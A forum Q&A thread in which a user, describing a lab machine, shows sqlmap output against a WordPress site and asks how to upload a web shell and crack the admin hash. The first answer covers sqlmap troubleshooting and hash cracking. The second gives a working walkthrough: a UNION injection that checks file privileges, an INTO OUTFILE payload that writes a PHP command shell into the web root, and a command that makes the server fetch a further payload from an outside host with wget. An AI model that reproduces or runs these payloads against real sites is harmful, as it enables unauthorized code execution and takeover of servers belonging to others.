Uploading Shell Using SQLI

Question

I found an SQL injection vulnerability in a Wordpress installation inside one of my lab machines and I am trying to leverage it to upload a shell.

I can get the admin hash but it seems that it is quite complex as JTR and HASHCAT are taking long times without luck.

Here is the basic output from SQLmap:

web server operating system: Linux Ubuntu xxxxxxxxx
web application technology: PHP 5.2.6, Apache 2.2.11
back-end DBMS: MySQL 5
[02:24:38] [INFO] testing if current user is DBA
[02:24:38] [INFO] fetching current user
current user is DBA:    True
[02:24:38] [INFO] fetching database names
[02:24:38] [INFO] the SQL query used returns 3 entries
[02:24:38] [INFO] resumed: "information_schema","information_schema"
[02:24:38] [INFO] resumed: "mysql","mysql"
[02:24:38] [INFO] resumed: "wordpress","wordpress"
available databases [3]:                                                                                                                                               
[*] information_schema
[*] mysql
[*] wordpress

I tried --os-shell option but It seems no write access as I get these errors:

[02:26:36] [WARNING] unable to retrieve automatically any web server path

[02:26:36] [INFO] trying to upload the file stager on '/var/www' via LIMIT INTO OUTFILE technique

[02:26:37] [WARNING] unable to upload the file stager on '/var/www'

[02:26:37] [INFO] trying to upload the file stager on '/var/www' via UNION technique

[02:26:37] [WARNING] expect junk characters inside the file as a leftover from UNION query

[02:26:38] [WARNING] it looks like the file has not been written, this can occur if the DBMS process' user has no write privileges in the destination path

I can get --sql-shell without problem. I tried the steps here (http://evilzone.org/tutorials/upload-shell-with-sql-injection/) to upload a shell but I get the following error

[02:00:16] [WARNING] execution of custom SQL queries is only available when stacked queries are supported

Now, I need a way to upload a shell to the target machine, any thoughts? Also any thoughts where I can crack Wordpress admin password hash online?

Answer 1

First of all if you are debugging a sqlmap failure you need to turn up the verbosity. No one can actually answer this question, because you did not gather the appropriate information.

The --os-shell works for MySQL by attempting to use an into outfile to write a file to the web root. This can fail for any number of reasons. The most common reason being that the database and web server and different machines. Ubuntu's default AppArmor rule sets forbid MySQL from writing to /var/www/. Also, into outfile requires file privileges that should never be granted (but often is). You could try using sqlmap's file-io functionality to read and write to the remote file system.

in the context of this application, dumping the contents of the Wordpress MySQL database will yield the administrator's password hash. Cracking this hash will yield a Wordpress admin account which almost always has the ability to upload and install Wordpress extensions.... or PHP shells.

Answer 2

Yes, You can write your shell onto the web server with SQL statements without logging into the admin panel or any other control panel.

But for this you have to met certain requirements:

1. Your must have write privileges and a writable directory (where you have to upload your shell)
2. Root Path (i.e /var/www/website/)
3. Magic Quotes must be enabled

Check for write privileges

Now the question is how to check if you have write permissions? What you can simply do is read file_priv from the mysql.user table:

union select 1,2,3,concat(user(),0x3a,file_priv) from mysql.user--

If it says Y after your current user, then you are lucky and you have write privileges.

Create a file to receive the shell

Now it's time to make use of MySQL statements. We're going to use INTO OUTFILE, which writes your selected rows onto a file. The basic syntax is:

select column_name from table_name into outfile "filepath/file.extension

Something like this should create a file named shell.php in the website directory and write that PHP code inside it:

http://website.com/file.php?id=1 union select 1,"<?php system($_REQUEST['cmd'])?>",3,4 INTO OUTFILE " /var/www/website/public_html/shell.php"

Access the shell

Now we can access our shell by visiting http://website.com/shell.php?cmd=whoami. You can run any command after cmd=. You can now upload a ready-made shellcode to the server using curl or `wget (on Linux servers):

`http://website.com/shell.php?cmd=wget http://othersite.com/shell.txt -O code.php`

And then you can access your shell with:

http://website.com/code.php

Hope you understood everything :)